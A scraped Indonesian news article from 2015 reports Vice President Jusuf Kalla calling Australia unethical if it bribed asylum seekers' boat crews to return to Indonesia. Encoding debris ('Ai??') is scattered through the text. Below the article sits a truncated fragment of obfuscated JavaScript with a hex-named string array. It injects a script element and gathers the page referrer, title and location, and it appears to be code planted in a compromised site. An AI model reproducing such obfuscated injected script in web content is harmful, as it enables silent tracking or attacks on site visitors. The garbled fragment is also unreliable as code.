JK Katakan Australia Tak Beretika, Suap Imigran Masuk Indonesia

Ai??
KoranForum.com – Jakarta – DKI Jakarta – Wakil Presiden Jusuf Kalla (JK) mengatakan bahwa jika rumors yang menyebutkan bahwa Pemerintah Australia
sengaja memberi suap para Imigran untuk ke Indonesia benar, maka Autralia adalah negara tak beretika.Ai??
Ai??
Akan tetapi, Jusuf Kalla terlebih dahulu akan memastikan beberapa bukti valid terkait pemberian penyuapan para imigran untuk ke Indonesia dari Autsralia.
Ai??
Jika terbukti benar bahwa pemerintah Australia telah membayar sejumlah uang kepada para pencari suaka untuk meninggalkan perairan Australia dan menuju Indonesia maka Pemerintah tidak akan diam.
Ai??
Artinya jika berita yang terdengar Australia menyogok pengungsi untuk mencari suaka ke Indonesia terbukti, tentu saja akan mengancam hubungan diplomatik yang telah dibina selama ini.
Ai??
“Namanya kan menyogok kan, artinya kan salah. Orang saja menyogok salah apalagi negara menyogok, tentu saja tidak sesuai dengan etika-etika yang benar daripada hubungan bernegara,” jelas Jusuf Kalla, di Istana Wakil Presiden di Jalan Merdeka Selatan, Senin, (15/06/2015).
Ai??
Namun ketika ditanya apa langkah selanjutnya, jika pemberitaan miring terhadap Australia itu terbuti? Jusuf Kalla mengaku belum menyiapkan tindakan apapun terhadap Australia maupun terhadap para pencari suaka itu.
Ai??
“Belum, belum. Itukan baru berita. Harus kita tahu sebenarnya ya kan. Mereka kan membantah. Ya kan baru muncul dipermukaan kan. Indonesia mempertanyakan itu,” tutur Jusuf Kalla.
Ai??
Masih pada kesempatan yang sama, Jusuf Kalla mengatakan bahwa desas-desus yang gencar diberitakan soal Australia ini bila terbukti benar, maka Australia telah menyalahi kesepakatan dengan Perserikatan Bangsa-Bangsa (PBB) terkait pengungsi. Dia juga menyebut pelanggaran kesepatakan tentang pengungsi itu bisa dikenakan dengan kasus human traficking atau perdagangan manusia.
Ai??
“Iya bisa menjadi human traficking artinya kan karena artinya dia (Australia). Apalagi dalam skala pengungsi karena PBB kan punya aturan tentang pengungsi dan itu Australia termasuk yang tanda tangan di konvesi itu. Indonesia malah tidak,” kata Jusuf Kalla.
Ai??
Mengenai kabar memanas antara dua negara bertetangga ini, Indonesia dan Australia bukan pertama kalinya terjadinya. Sebelumnya di masa Pemerintahan Soesilo Bambang Yudhoyono, Australia telah melakukan penyadapan pribadi Presiden melalui pesawat teleponnya.Ai??
Ai??
Kabar lain yang juga pernah memanas adalah soal ketidak setujuan Pemerintah Australia terhadap kebijakan eksekusi mati bagi pengedar Narkoba di tanah air oleh Presiden Republik Indonesia saat ini, Joko Widodo. Dua peristiwa memanas itu terbukti membuat jarak antara Indonesia dan juga Australia.
Ai??
Sebelumnya, Media Australia dan Indonesia melaporkan bahwa seorang kapten dan dua awak yang ditangkap karena dugaan terlibat perdagangan manusia mengatakan kepada polisi Indonesia bahwa mereka membayar masing-masing USD 3.860 agar kapal mereka yang membawa 65 pendatang berlayar kembali ke Indonesia. Penumpang itu kebanyakan berasal dari Bangladesh, Sri Lanka dan Myanmar.
Ai??
Menteri Luar Negeri Retno Marsudi telah menanyakan masalah itu kepada dutabesar Australia di Indonesia, Paul Grigson.
Ai??
“Dia berjanji akan melanjutkan pertanyaan saya itu ke Canberra,” kata Retno kepada wartawan. “Kami sangat prihatin, jika hal itu benar.”
Ai??
Menlu Australia Julie Bishop dan Menteri Imigrasi Peter Dutton membantah berita itu, namun PM Tony Abbott menolak memberi komentar dengan alasan keamanan operasi.
Ai??
PBB dan kelompok-kelompok hak asasi manusia mengkritik Australia terkait kebijakan keras terhadap pencari suaka yang menurut Ai??Perdana Menteri Tony Abbott perlu diterapkan agar tidak terjadi korban jiwa di laut.
Ai??
Australia bertekad menghalangi para pencari suaka mencapai wilayahnya dengan mengusir kapal pembawa pendatang itu kembali ke wilayah Indonesia jika bisa.Ai??
Selain itu juga mengirim para pencari suaka ke tempat penampungan sementara di negara-negara miskin seperti Papua Nugini dan Nauri.
Ai??
(Mey/Net)

nt[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *